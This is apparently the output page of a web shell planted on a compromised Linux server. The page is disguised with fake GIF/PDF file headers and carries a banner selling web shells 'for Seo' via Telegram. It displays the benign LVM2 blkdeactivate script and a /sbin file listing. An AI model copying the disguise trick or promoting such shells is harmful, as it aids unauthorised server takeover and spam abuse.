GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/bash
#
# Copyright (C) 2012-2020 Red Hat, Inc. All rights reserved.
#
# This file is part of LVM2.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions
# of the GNU General Public License v.2.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
# Author: Peter Rajnoha <prajnoha at redhat.com>
#
# Script for deactivating block devices
#
# Requires:
# bash >= 4.0 (associative array support)
# util-linux {
# lsblk >= 2.22 (lsblk -s support)
# umount
# }
# dmsetup >= 1.02.68 (--retry option support)
# lvm >= 2.2.89 (activation/retry_deactivation config support)
#
#set -x
shopt -s dotglob nullglob
TOOL=blkdeactivate
DEV_DIR="/dev"
SYS_BLK_DIR="/sys/block"
MDADM="/sbin/mdadm"
MOUNTPOINT="/bin/mountpoint"
MPATHD="/sbin/multipathd"
UMOUNT="/bin/umount"
VDO="/bin/vdo"
sbindir="/sbin"
DMSETUP="$sbindir/dmsetup"
LVM="$sbindir/lvm"
if "$UMOUNT" --help | grep -- "--all-targets" >"$DEV_DIR/null"; then
UMOUNT_OPTS="--all-targets "
else
UMOUNT_OPTS=""
FINDMNT="/bin/findmnt -r --noheadings -u -o TARGET"
FINDMNT_READ="read -r mnt"
fi
DMSETUP_OPTS=""
LVM_OPTS=""
MDADM_OPTS=""
MPATHD_OPTS=""
VDO_OPTS=""
LSBLK="/bin/lsblk -r --noheadings -o TYPE,KNAME,NAME,MOUNTPOINT"
LSBLK_VARS="local devtype local kname local name local mnt"
LSBLK_READ="read -r devtype kname name mnt"
SORT_MNT="/usr/bin/sort -r -u -k 4"
# Do not show tool errors by default (only done/skipping summary
# message provided by this script) and no verbose mode by default.
ERRORS=0
VERBOSE=0
# Do not unmount mounted devices by default.
DO_UMOUNT=0
# Deactivate each LV separately by default (not the whole VG).
LVM_DO_WHOLE_VG=0
# Do not retry LV deactivation by default.
LVM_CONFIG="activation{retry_deactivation=0}"
# Do not wait for MD RAID device resync, recovery or reshape.
MDRAID_DO_WAIT=0
# Do not disable queueing if set on multipath devices.
MPATHD_DO_DISABLEQUEUEING=0
#
# List of device names and/or VGs to be skipped.
# Device name is the KNAME from lsblk output.
#
# If deactivation of any device fails, it's automatically
# added to the SKIP_DEVICE_LIST (also a particular VG
# added to the SKIP_VG_LIST for a device that is an LV).
#
# These lists provide device tree pruning to skip
# particular device/VG deactivation that failed already.
# (lists are associative arrays!)
#
declare -A SKIP_DEVICE_LIST=()
declare -A SKIP_VG_LIST=()
#
# List of mountpoints to be skipped. Any device that is mounted on the mountpoint
# listed here will be added to SKIP_DEVICE_LIST (and SKIP_VG_LIST) automatically.
# (list is an associative array!)
#
declare -A SKIP_UMOUNT_LIST=(["/"]=1 \
["/lib"]=1 ["/lib64"]=1 \
["/bin"]=1 ["/sbin"]=1 \
["/var"]=1 ["/var/log"]=1 \
["/usr"]=1 \
["/usr/lib"]=1 ["/usr/lib64"]=1 \
["/usr/sbin"]=1 ["/usr/bin"]=1)
# Bash can't properly handle '[' and ']' used as a subscript
# within the '()'initialization - it needs to be done separately!
SKIP_UMOUNT_LIST["[SWAP]"]=1
usage() {
echo "${TOOL}: Utility to deactivate block devices"
echo
echo " ${TOOL} [options] [device...]"
echo " - Deactivate block device tree."
echo " If devices are specified, deactivate only supplied devices and their holders."
echo
echo " Options:"
echo " -e | --errors Show errors reported from tools"
echo " -h | --help Show this help message"
echo " -d | --dmoptions DM_OPTIONS Comma separated DM specific options"
echo " -l | --lvmoptions LVM_OPTIONS Comma separated LVM specific options"
echo " -m | --mpathoptions MPATH_OPTIONS Comma separated DM-multipath specific options"
echo " -r | --mdraidoptions MDRAID_OPTIONS Comma separated MD RAID specific options"
echo " -o | --vdooptions VDO_OPTIONS Comma separated VDO specific options"
echo " -u | --umount Unmount the device if mounted"
echo " -v | --verbose Verbose mode (also implies -e)"
echo
echo " Device specific options:"
echo " DM_OPTIONS:"
echo " retry retry removal several times in case of failure"
echo " force force device removal"
echo " LVM_OPTIONS:"
echo " retry retry removal several times in case of failure"
echo " wholevg deactivate the whole VG when processing an LV"
echo " MDRAID_OPTIONS:"
echo " wait wait for resync, recovery or reshape to complete first"
echo " MPATH_OPTIONS:"
echo " disablequeueing disable queueing on all DM-multipath devices first"
echo " VDO_OPTIONS:"
echo " configfile=file use specified VDO configuration file"
exit
}
add_device_to_skip_list() {
SKIP_DEVICE_LIST+=(["$kname"]=1)
return 1
}
add_vg_to_skip_list() {
SKIP_VG_LIST+=(["$DM_VG_NAME"]=1)
return 1
}
is_top_level_device() {
# top level devices do not have any holders, that is
# the SYS_BLK_DIR/<device_name>/holders dir is empty
files=$(echo "$SYS_BLK_DIR/$kname/holders/"*)
test -z "$files"
}
device_umount_one() {
test -z "$mnt" && return 0
if test -z "${SKIP_UMOUNT_LIST["$mnt"]}" -a "$DO_UMOUNT" -eq "1"; then
echo -n " [UMOUNT]: unmounting $name ($kname) mounted on $mnt... "
if eval "$UMOUNT" $UMOUNT_OPTS "$(printf "%s" "$mnt")" "$OUT" "$ERR"; then
echo "done"
elif "$MOUNTPOINT" -q "$mnt"; then
echo "skipping"
add_device_to_skip_list
else
echo "already unmounted"
fi
else
echo " [SKIP]: unmount of $name ($kname) mounted on $mnt"
add_device_to_skip_list
fi
}
device_umount() {
test "$devtype" != "lvm" && test "${kname:0:3}" != "dm-" \
&& test "${kname:0:2}" != "md" && return 0
# FINDMNT is defined only if umount --all-targets is not available.
# In that case, read the list of multiple mount points of one device
# using FINDMNT and unmount it one by one manually.
if test -z "$FINDMNT"; then
device_umount_one
else
while $FINDMNT_READ; do
device_umount_one || return 1
done <<< "$($FINDMNT "$DEV_DIR/$kname")"
fi
}
deactivate_holders () {
local skip=1; $LSBLK_VARS
# Get holders for the device - either a mount or another device.
# First line on the lsblk output is the device itself - skip it for
# the deactivate call as this device is already being deactivated.
while $LSBLK_READ; do
test -e "$SYS_BLK_DIR/$kname" || continue
# check if the device not on the skip list already
test -z "${SKIP_DEVICE_LIST["$kname"]}" || return 1
# try to deactivate the holder
test "$skip" -eq 1 && skip=0 && continue
deactivate || return 1
done <<< "$($LSBLK "$1")"
}
deactivate_dm () {
local xname
xname=$(printf "%s" "$name")
test -b "$DEV_DIR/mapper/$xname" || return 0
test -z "${SKIP_DEVICE_LIST["$kname"]}" || return 1
deactivate_holders "$DEV_DIR/mapper/$xname" || return 1
echo -n " [DM]: deactivating $devtype device $xname ($kname)... "
if eval "$DMSETUP" $DMSETUP_OPTS remove "$xname" "$OUT" "$ERR"; then
echo "done"
else
echo "skipping"
add_device_to_skip_list
fi
}
deactivate_lvm () {
local DM_VG_NAME; local DM_LV_NAME
eval "$(eval "$DMSETUP" splitname --nameprefixes --noheadings --rows "$name" LVM "$ERR")"
test -b "$DEV_DIR/$DM_VG_NAME/$DM_LV_NAME" || return 0
test -z "${SKIP_VG_LIST["$DM_VG_NAME"]}" || return 1
if test "$LVM_DO_WHOLE_VG" -eq 0; then
# Skip LVM device deactivation if LVM tools missing.
test "$LVM_AVAILABLE" -eq 0 && {
add_device_to_skip_list
return 1
}
# Deactivating only the LV specified
deactivate_holders "$DEV_DIR/$DM_VG_NAME/$DM_LV_NAME" || {
add_device_to_skip_list
return 1
}
echo -n " [LVM]: deactivating Logical Volume $DM_VG_NAME/$DM_LV_NAME... "
if eval "$LVM" lvchange $LVM_OPTS --config \'log\{prefix=\"\"\} $LVM_CONFIG\' -aln "$DM_VG_NAME/$DM_LV_NAME" "$OUT" "$ERR"; then
echo "done"
else
echo "skipping"
add_device_to_skip_list
fi
else
# Skip LVM VG deactivation if LVM tools missing.
test "$LVM_AVAILABLE" -eq 0 && {
add_vg_to_skip_list
return 1
}
# Deactivating the whole VG the LV is part of
lv_list=$(eval "$LVM" vgs --config "$LVM_CONFIG" --noheadings --rows -o lv_name "$DM_VG_NAME" "$ERR")
for lv in $lv_list; do
test -b "$DEV_DIR/$DM_VG_NAME/$lv" || continue
deactivate_holders "$DEV_DIR/$DM_VG_NAME/$lv" || {
add_vg_to_skip_list
return 1
}
done
echo -n " [LVM]: deactivating Volume Group $DM_VG_NAME... "
if eval "$LVM" vgchange $LVM_OPTS --config \'log\{prefix=\" \"\} $LVM_CONFIG\' -aln "$DM_VG_NAME" "$OUT" "$ERR"; then
echo "done"
else
echo "skipping"
add_vg_to_skip_list
fi
fi
}
deactivate_md () {
local xname
xname=$(printf "%s" "$name")
local sync_action
test -b "$DEV_DIR/$xname" || return 0
test -z "${SKIP_DEVICE_LIST["$kname"]}" || return 1
# Skip MD device deactivation if MD tools missing.
test "$MDADM_AVAILABLE" -eq 0 && {
add_device_to_skip_list
return 1
}
deactivate_holders "$DEV_DIR/$xname" || return 1
echo -n " [MD]: deactivating $devtype device $kname... "
test "$MDRAID_DO_WAIT" -eq 1 && {
sync_action=$(cat "$SYS_BLK_DIR/$kname/md/sync_action")
test "$sync_action" != "idle" && {
echo -n "$sync_action action in progress... "
if eval "$MDADM" $MDADM_OPTS -W "$DEV_DIR/$kname" "$OUT" "$ERR"; then
echo -n "complete... "
else
test $? -ne 1 && echo -n "failed to wait for $sync_action action... "
fi
}
}
if eval "$MDADM" $MDADM_OPTS -S "$xname" "$OUT" "$ERR"; then
echo "done"
else
echo "skipping"
add_device_to_skip_list
fi
}
deactivate_vdo() {
local xname
xname=$(printf "%s" "$name")
test -b "$DEV_DIR/mapper/$xname" || return 0
test -z "${SKIP_DEVICE_LIST["$kname"]}" || return 1
# Skip VDO device deactivation if VDO tools missing.
test "$VDO_AVAILABLE" -eq 0 && {
add_device_to_skip_list
return 1
}
deactivate_holders "$DEV_DIR/mapper/$xname" || return 1
echo -n " [VDO]: deactivating VDO volume $xname... "
if eval "$VDO" stop $VDO_OPTS --name="$xname" "$OUT" "$ERR"; then
echo "done"
else
echo "skipping"
add_device_to_skip_list
fi
}
deactivate () {
######################################################################
# DEACTIVATION HOOKS FOR NEW DEVICE TYPES GO HERE! #
# #
# Identify a new device type either by inspecting the TYPE provided #
# by lsblk directly ($devtype) or by any other mean that is suitable #
# e.g. the KNAME provided by lsblk ($kname). See $LSBLK_VARS for #
# complete list of variables that may be used. Then call a #
# device-specific deactivation function that handles the exact type. #
# #
# This device-specific function will certainly need to call #
# deactivate_holders first to recursively deactivate any existing #
# holders it might have before deactivating the device it processes. #
######################################################################
if test "$devtype" = "lvm"; then
deactivate_lvm
elif test "$devtype" = "vdo"; then
deactivate_vdo
elif test "${kname:0:3}" = "dm-"; then
deactivate_dm
elif test "${kname:0:2}" = "md"; then
deactivate_md
fi
}
deactivate_all() {
$LSBLK_VARS
skip=0
echo "Deactivating block devices:"
test "$MPATHD_RUNNING" -eq 1 && {
echo -n " [DM]: disabling queueing on all multipath devices... "
eval "$MPATHD" $MPATHD_OPTS disablequeueing maps "$ERR" | grep '^ok$' >"$DEV_DIR/null" && echo "done" || echo "failed"
}
if test $# -eq 0; then
#######################
# Process all devices #
#######################
# Unmount all relevant mountpoints first
while $LSBLK_READ; do
device_umount
done <<< "$($LSBLK | $SORT_MNT)"
# Do deactivate
while $LSBLK_READ; do
# 'disk' is at the bottom already and it's a real device
test "$devtype" = "disk" && continue
# if deactivation of any device fails, skip processing
# any subsequent devices within its subtree as the
# top-level device could not be deactivated anyway
test "$skip" -eq 1 && {
# reset 'skip' on top level device
if is_top_level_device ; then
skip=0
else
continue
fi
}
# check if the device is not on the skip list already
test -z "${SKIP_DEVICE_LIST["$kname"]}" || continue
# try to deactivate top-level device, set 'skip=1'
# if it fails to do so - this will cause all the
# device's subtree to be skipped when processing
# devices further in this loop
deactivate || skip=1
done <<< "$($LSBLK -s)"
else
##################################
# Process only specified devices #
##################################
while test $# -ne 0; do
# Unmount all relevant mountpoints first
while $LSBLK_READ; do
device_umount
done <<< "$($LSBLK "$1" | $SORT_MNT)"
# Do deactivate
# Single dm device tree deactivation.
if test -b "$1"; then
$LSBLK_READ <<< "$($LSBLK --nodeps "$1")"
# check if the device is not on the skip list already
test -z "${SKIP_DEVICE_LIST["$kname"]}" || {
shift
continue
}
deactivate
else
echo "$1: device not found"
return 1
fi
shift
done;
fi
}
get_dmopts() {
ORIG_IFS=$IFS; IFS=','
for opt in $1; do
case $opt in
"") ;;
"retry") DMSETUP_OPTS+="--retry " ;;
"force") DMSETUP_OPTS+="--force " ;;
*) echo "$opt: unknown DM option"
esac
done
IFS=$ORIG_IFS
}
get_lvmopts() {
ORIG_IFS=$IFS; IFS=','
for opt in $1; do
case "$opt" in
"") ;;
"retry") LVM_CONFIG="activation{retry_deactivation=1}" ;;
"wholevg") LVM_DO_WHOLE_VG=1 ;;
*) echo "$opt: unknown LVM option"
esac
done
IFS=$ORIG_IFS
}
get_mdraidopts() {
ORIG_IFS=$IFS; IFS=','
for opt in $1; do
case "$opt" in
"") ;;
"wait") MDRAID_DO_WAIT=1 ;;
*) echo "$opt: unknown MD RAID option"
esac
done
IFS=$ORIG_IFS
}
get_mpathopts() {
ORIG_IFS=$IFS; IFS=','
for opt in $1; do
case "$opt" in
"") ;;
"disablequeueing") MPATHD_DO_DISABLEQUEUEING=1 ;;
*) echo "$opt: unknown DM-multipath option"
esac
done
IFS=$ORIG_IFS
}
get_vdoopts() {
ORIG_IFS=$IFS; IFS=','
for opt in $1; do
case "$opt" in
"") ;;
configfile=*) tmp=${opt#*=}; VDO_OPTS+="--confFile=${tmp%%,*} " ;;
*) echo "$opt: unknown VDO option"
esac
done
IFS=$ORIG_IFS
}
set_env() {
if test "$ERRORS" -eq "1"; then
unset ERR
else
ERR="2>$DEV_DIR/null"
fi
if test "$VERBOSE" -eq "1"; then
unset OUT
UMOUNT_OPTS+="-v"
DMSETUP_OPTS+="-vvvv"
LVM_OPTS+="-vvvv"
MDADM_OPTS+="-vv"
MPATHD_OPTS+="-v 3"
VDO_OPTS+="--verbose "
else
OUT="1>$DEV_DIR/null"
fi
if test -f "$LVM"; then
LVM_AVAILABLE=1
else
LVM_AVAILABLE=0
fi
if test -f $MDADM; then
MDADM_AVAILABLE=1
else
MDADM_AVAILABLE=0
fi
if test -f $VDO; then
VDO_AVAILABLE=1
else
VDO_AVAILABLE=0
fi
MPATHD_RUNNING=0
test "$MPATHD_DO_DISABLEQUEUEING" -eq 1 && {
if test -f "$MPATHD"; then
if eval "$MPATHD" show daemon "$ERR" | grep "running" >"$DEV_DIR/null"; then
MPATHD_RUNNING=1
fi
fi
}
}
while test $# -ne 0; do
case "$1" in
"") ;;
"-e"|"--errors") ERRORS=1 ;;
"-h"|"--help") usage ;;
"-d"|"--dmoptions") get_dmopts "$2" ; shift ;;
"-l"|"--lvmoptions") get_lvmopts "$2" ; shift ;;
"-m"|"--mpathoptions") get_mpathopts "$2" ; shift ;;
"-r"|"--mdraidoptions") get_mdraidopts "$2"; shift ;;
"-o"|"--vdooptions") get_vdoopts "$2"; shift ;;
"-u"|"--umount") DO_UMOUNT=1 ;;
"-v"|"--verbose") VERBOSE=1 ; ERRORS=1 ;;
"-vv") VERBOSE=1 ; ERRORS=1 ; set -x ;;
*) break ;;
esac
shift
done
set_env
deactivate_all "$@"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| a2disconf | File | 15.89 KB | 0755 |
|
| a2dismod | File | 15.89 KB | 0755 |
|
| a2dissite | File | 15.89 KB | 0755 |
|
| a2enconf | File | 15.89 KB | 0755 |
|
| a2enmod | File | 15.89 KB | 0755 |
|
| a2ensite | File | 15.89 KB | 0755 |
|
| a2query | File | 9.64 KB | 0755 |
|
| aa-remove-unknown | File | 3 KB | 0755 |
|
| aa-status | File | 62.62 KB | 0755 |
|
| aa-teardown | File | 137 B | 0755 |
|
| accessdb | File | 14.55 KB | 0755 |
|
| add-shell | File | 1.03 KB | 0755 |
|
| addgnupghome | File | 3 KB | 0755 |
|
| addgroup | File | 37.35 KB | 0755 |
|
| adduser | File | 37.35 KB | 0755 |
|
| agetty | File | 55.56 KB | 0755 |
|
| apache2 | File | 740.89 KB | 0755 |
|
| apache2ctl | File | 7.06 KB | 0755 |
|
| apachectl | File | 7.06 KB | 0755 |
|
| apparmor_parser | File | 1.48 MB | 0755 |
|
| apparmor_status | File | 62.62 KB | 0755 |
|
| applygnupgdefaults | File | 2.17 KB | 0755 |
|
| arpd | File | 26.33 KB | 0755 |
|
| arptables | File | 219.04 KB | 0755 |
|
| arptables-nft | File | 219.04 KB | 0755 |
|
| arptables-nft-restore | File | 219.04 KB | 0755 |
|
| arptables-nft-save | File | 219.04 KB | 0755 |
|
| arptables-restore | File | 219.04 KB | 0755 |
|
| arptables-save | File | 219.04 KB | 0755 |
|
| badblocks | File | 34.32 KB | 0755 |
|
| bcache-super-show | File | 14.3 KB | 0755 |
|
| biosdecode | File | 23.2 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0755 |
|
| blkdiscard | File | 22.38 KB | 0755 |
|
| blkid | File | 50.41 KB | 0755 |
|
| blkzone | File | 34.38 KB | 0755 |
|
| blockdev | File | 30.38 KB | 0755 |
|
| bridge | File | 92.49 KB | 0755 |
|
| cache_check | File | 1.33 MB | 0755 |
|
| cache_dump | File | 1.33 MB | 0755 |
|
| cache_metadata_size | File | 1.33 MB | 0755 |
|
| cache_repair | File | 1.33 MB | 0755 |
|
| cache_restore | File | 1.33 MB | 0755 |
|
| cache_writeback | File | 1.33 MB | 0755 |
|
| capsh | File | 30.3 KB | 0755 |
|
| cfdisk | File | 94.73 KB | 0755 |
|
| cgdisk | File | 150.48 KB | 0755 |
|
| chcpu | File | 30.38 KB | 0755 |
|
| check_forensic | File | 952 B | 0755 |
|
| chgpasswd | File | 58.13 KB | 0755 |
|
| chmem | File | 34.38 KB | 0755 |
|
| chpasswd | File | 54.16 KB | 0755 |
|
| chroot | File | 38.51 KB | 0755 |
|
| conntrack | File | 79.24 KB | 0755 |
|
| cpgr | File | 48.29 KB | 0755 |
|
| cppw | File | 48.29 KB | 0755 |
|
| cron | File | 50.58 KB | 0755 |
|
| cryptdisks_start | File | 1.51 KB | 0755 |
|
| cryptdisks_stop | File | 844 B | 0755 |
|
| cryptsetup | File | 169.55 KB | 0755 |
|
| cryptsetup-reencrypt | File | 90.38 KB | 0755 |
|
| cryptsetup-ssh | File | 23.53 KB | 0755 |
|
| ctrlaltdel | File | 14.38 KB | 0755 |
|
| dcb | File | 80.52 KB | 0755 |
|
| debugfs | File | 229.8 KB | 0755 |
|
| delgroup | File | 16.11 KB | 0755 |
|
| deluser | File | 16.11 KB | 0755 |
|
| depmod | File | 166.36 KB | 0755 |
|
| devlink | File | 142.86 KB | 0755 |
|
| dhclient | File | 442.66 KB | 0755 |
|
| dhclient-script | File | 15.92 KB | 0755 |
|
| dmeventd | File | 50.38 KB | 0755 |
|
| dmidecode | File | 122.98 KB | 0755 |
|
| dmsetup | File | 171.02 KB | 0755 |
|
| dmstats | File | 171.02 KB | 0755 |
|
| dosfsck | File | 82.38 KB | 0755 |
|
| dosfslabel | File | 38.38 KB | 0755 |
|
| dpkg-preconfigure | File | 3.58 KB | 0755 |
|
| dpkg-reconfigure | File | 4.38 KB | 0755 |
|
| dumpe2fs | File | 30.31 KB | 0755 |
|
| e2freefrag | File | 14.3 KB | 0755 |
|
| e2fsck | File | 351.84 KB | 0755 |
|
| e2image | File | 42.31 KB | 0755 |
|
| e2label | File | 102.55 KB | 0755 |
|
| e2mmpstatus | File | 30.31 KB | 0755 |
|
| e2scrub | File | 7.13 KB | 0755 |
|
| e2scrub_all | File | 5.27 KB | 0755 |
|
| e2undo | File | 22.3 KB | 0755 |
|
| e4crypt | File | 30.38 KB | 0755 |
|
| e4defrag | File | 30.3 KB | 0755 |
|
| ebtables | File | 219.04 KB | 0755 |
|
| ebtables-nft | File | 219.04 KB | 0755 |
|
| ebtables-nft-restore | File | 219.04 KB | 0755 |
|
| ebtables-nft-save | File | 219.04 KB | 0755 |
|
| ebtables-restore | File | 219.04 KB | 0755 |
|
| ebtables-save | File | 219.04 KB | 0755 |
|
| era_check | File | 1.33 MB | 0755 |
|
| era_dump | File | 1.33 MB | 0755 |
|
| era_invalidate | File | 1.33 MB | 0755 |
|
| era_restore | File | 1.33 MB | 0755 |
|
| ethtool | File | 551.48 KB | 0755 |
|
| faillock | File | 14.15 KB | 0755 |
|
| fatlabel | File | 38.38 KB | 0755 |
|
| fdisk | File | 110.42 KB | 0755 |
|
| filefrag | File | 18.32 KB | 0755 |
|
| findfs | File | 14.38 KB | 0755 |
|
| fixparts | File | 58.48 KB | 0755 |
|
| fsadm | File | 23.94 KB | 0755 |
|
| fsck | File | 42.42 KB | 0755 |
|
| fsck.btrfs | File | 1.16 KB | 0755 |
|
| fsck.cramfs | File | 30.44 KB | 0755 |
|
| fsck.ext2 | File | 351.84 KB | 0755 |
|
| fsck.ext3 | File | 351.84 KB | 0755 |
|
| fsck.ext4 | File | 351.84 KB | 0755 |
|
| fsck.fat | File | 82.38 KB | 0755 |
|
| fsck.minix | File | 54.41 KB | 0755 |
|
| fsck.msdos | File | 82.38 KB | 0755 |
|
| fsck.vfat | File | 82.38 KB | 0755 |
|
| fsck.xfs | File | 1.89 KB | 0755 |
|
| fsfreeze | File | 14.38 KB | 0755 |
|
| fstab-decode | File | 18.3 KB | 0755 |
|
| fstrim | File | 42.38 KB | 0755 |
|
| gdisk | File | 174.48 KB | 0755 |
|
| genl | File | 90.44 KB | 0755 |
|
| getcap | File | 14.3 KB | 0755 |
|
| getpcaps | File | 14.3 KB | 0755 |
|
| getty | File | 55.56 KB | 0755 |
|
| groupadd | File | 66.91 KB | 0755 |
|
| groupdel | File | 62.73 KB | 0755 |
|
| groupmems | File | 54.19 KB | 0755 |
|
| groupmod | File | 66.82 KB | 0755 |
|
| grpck | File | 58.13 KB | 0755 |
|
| grpconv | File | 50.01 KB | 0755 |
|
| grpunconv | File | 50.01 KB | 0755 |
|
| grub-bios-setup | File | 941.42 KB | 0755 |
|
| grub-install | File | 1.15 MB | 0755 |
|
| grub-macbless | File | 929.11 KB | 0755 |
|
| grub-mkconfig | File | 8.6 KB | 0755 |
|
| grub-mkdevicemap | File | 215.7 KB | 0755 |
|
| grub-probe | File | 941.36 KB | 0755 |
|
| grub-reboot | File | 4.73 KB | 0755 |
|
| grub-set-default | File | 3.47 KB | 0755 |
|
| halt | File | 1.06 MB | 0755 |
|
| hdparm | File | 139.43 KB | 0755 |
|
| httxt2dbm | File | 14.3 KB | 0755 |
|
| hwclock | File | 50.5 KB | 0755 |
|
| iconvconfig | File | 30.4 KB | 0755 |
|
| init | File | 1.76 MB | 0755 |
|
| insmod | File | 166.36 KB | 0755 |
|
| installkernel | File | 2.6 KB | 0755 |
|
| integritysetup | File | 54.07 KB | 0755 |
|
| invoke-rc.d | File | 16.12 KB | 0755 |
|
| ip | File | 702.05 KB | 0755 |
|
| ip6tables | File | 219.04 KB | 0755 |
|
| ip6tables-apply | File | 6.89 KB | 0755 |
|
| ip6tables-legacy | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-restore | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-save | File | 96.95 KB | 0755 |
|
| ip6tables-nft | File | 219.04 KB | 0755 |
|
| ip6tables-nft-restore | File | 219.04 KB | 0755 |
|
| ip6tables-nft-save | File | 219.04 KB | 0755 |
|
| ip6tables-restore | File | 219.04 KB | 0755 |
|
| ip6tables-restore-translate | File | 219.04 KB | 0755 |
|
| ip6tables-save | File | 219.04 KB | 0755 |
|
| ip6tables-translate | File | 219.04 KB | 0755 |
|
| iptables | File | 219.04 KB | 0755 |
|
| iptables-apply | File | 6.89 KB | 0755 |
|
| iptables-legacy | File | 96.95 KB | 0755 |
|
| iptables-legacy-restore | File | 96.95 KB | 0755 |
|
| iptables-legacy-save | File | 96.95 KB | 0755 |
|
| iptables-nft | File | 219.04 KB | 0755 |
|
| iptables-nft-restore | File | 219.04 KB | 0755 |
|
| iptables-nft-save | File | 219.04 KB | 0755 |
|
| iptables-restore | File | 219.04 KB | 0755 |
|
| iptables-restore-translate | File | 219.04 KB | 0755 |
|
| iptables-save | File | 219.04 KB | 0755 |
|
| iptables-translate | File | 219.04 KB | 0755 |
|
| irqbalance | File | 66.86 KB | 0755 |
|
| irqbalance-ui | File | 34.38 KB | 0755 |
|
| iscsi-iname | File | 14.3 KB | 0755 |
|
| iscsi_discovery | File | 5.17 KB | 0755 |
|
| iscsiadm | File | 398.46 KB | 0755 |
|
| iscsid | File | 298.55 KB | 0755 |
|
| iscsistart | File | 278.56 KB | 0755 |
|
| isosize | File | 14.38 KB | 0755 |
|
| kbdrate | File | 18.16 KB | 0755 |
|
| killall5 | File | 30.38 KB | 0755 |
|
| kpartx | File | 46.16 KB | 0755 |
|
| ldattach | File | 26.38 KB | 0755 |
|
| ldconfig | File | 387 B | 0755 |
|
| ldconfig.real | File | 1.16 MB | 0755 |
|
| locale-gen | File | 4.29 KB | 0755 |
|
| logrotate | File | 102.24 KB | 0755 |
|
| logsave | File | 14.16 KB | 0755 |
|
| losetup | File | 70.52 KB | 0755 |
|
| lsmod | File | 166.36 KB | 0755 |
|
| luksformat | File | 3.32 KB | 0755 |
|
| lvchange | File | 2.89 MB | 0755 |
|
| lvconvert | File | 2.89 MB | 0755 |
|
| lvcreate | File | 2.89 MB | 0755 |
|
| lvdisplay | File | 2.89 MB | 0755 |
|
| lvextend | File | 2.89 MB | 0755 |
|
| lvm | File | 2.89 MB | 0755 |
|
| lvmconfig | File | 2.89 MB | 0755 |
|
| lvmdiskscan | File | 2.89 MB | 0755 |
|
| lvmdump | File | 10.07 KB | 0755 |
|
| lvmpolld | File | 236.2 KB | 0755 |
|
| lvmsadc | File | 2.89 MB | 0755 |
|
| lvmsar | File | 2.89 MB | 0755 |
|
| lvreduce | File | 2.89 MB | 0755 |
|
| lvremove | File | 2.89 MB | 0755 |
|
| lvrename | File | 2.89 MB | 0755 |
|
| lvresize | File | 2.89 MB | 0755 |
|
| lvs | File | 2.89 MB | 0755 |
|
| lvscan | File | 2.89 MB | 0755 |
|
| make-bcache | File | 22.38 KB | 0755 |
|
| make-ssl-cert | File | 6.65 KB | 0755 |
|
| mariadbd | File | 24.34 MB | 0755 |
|
| mdadm | File | 601.31 KB | 0755 |
|
| mdmon | File | 258.44 KB | 0755 |
|
| mkdosfs | File | 50.83 KB | 0755 |
|
| mke2fs | File | 130.62 KB | 0755 |
|
| mkfs | File | 14.38 KB | 0755 |
|
| mkfs.bfs | File | 22.38 KB | 0755 |
|
| mkfs.btrfs | File | 471.25 KB | 0755 |
|
| mkfs.cramfs | File | 34.32 KB | 0755 |
|
| mkfs.ext2 | File | 130.62 KB | 0755 |
|
| mkfs.ext3 | File | 130.62 KB | 0755 |
|
| mkfs.ext4 | File | 130.62 KB | 0755 |
|
| mkfs.fat | File | 50.83 KB | 0755 |
|
| mkfs.minix | File | 42.39 KB | 0755 |
|
| mkfs.msdos | File | 50.83 KB | 0755 |
|
| mkfs.ntfs | File | 70.38 KB | 0755 |
|
| mkfs.vfat | File | 50.83 KB | 0755 |
|
| mkfs.xfs | File | 382.77 KB | 0755 |
|
| mkhomedir_helper | File | 22.17 KB | 0755 |
|
| mkinitramfs | File | 12.16 KB | 0755 |
|
| mklost+found | File | 14.3 KB | 0755 |
|
| mkntfs | File | 70.38 KB | 0755 |
|
| mkswap | File | 46.38 KB | 0755 |
|
| modinfo | File | 166.36 KB | 0755 |
|
| modprobe | File | 166.36 KB | 0755 |
|
| mount.fuse | File | 18.3 KB | 0755 |
|
| mount.fuse3 | File | 18.3 KB | 0755 |
|
| mount.lowntfs-3g | File | 114.98 KB | 0755 |
|
| mount.ntfs | File | 159.01 KB | 0755 |
|
| mount.ntfs-3g | File | 159.01 KB | 0755 |
|
| mpathpersist | File | 31.05 KB | 0755 |
|
| multipath | File | 34.15 KB | 0755 |
|
| multipathd | File | 134.26 KB | 0755 |
|
| mysqld | File | 24.34 MB | 0755 |
|
| netplan | File | 798 B | 0755 |
|
| newusers | File | 74.73 KB | 0755 |
|
| nfnl_osf | File | 18.3 KB | 0755 |
|
| nft | File | 26.23 KB | 0755 |
|
| nginx | File | 1.18 MB | 0755 |
|
| nologin | File | 14.3 KB | 0755 |
|
| ntfsclone | File | 50.38 KB | 0755 |
|
| ntfscp | File | 34.38 KB | 0755 |
|
| ntfslabel | File | 22.38 KB | 0755 |
|
| ntfsresize | File | 62.39 KB | 0755 |
|
| ntfsundelete | File | 50.38 KB | 0755 |
|
| on_ac_power | File | 3.7 KB | 0755 |
|
| overlayroot-chroot | File | 2.45 KB | 0755 |
|
| ownership | File | 14.45 KB | 0755 |
|
| pam-auth-update | File | 20.5 KB | 0755 |
|
| pam_extrausers_chkpwd | File | 22.15 KB | 2755 |
|
| pam_extrausers_update | File | 30.15 KB | 0755 |
|
| pam_getenv | File | 2.82 KB | 0755 |
|
| pam_timestamp_check | File | 14.15 KB | 0755 |
|
| parted | File | 86.4 KB | 0755 |
|
| partprobe | File | 14.38 KB | 0755 |
|
| pdata_tools | File | 1.33 MB | 0755 |
|
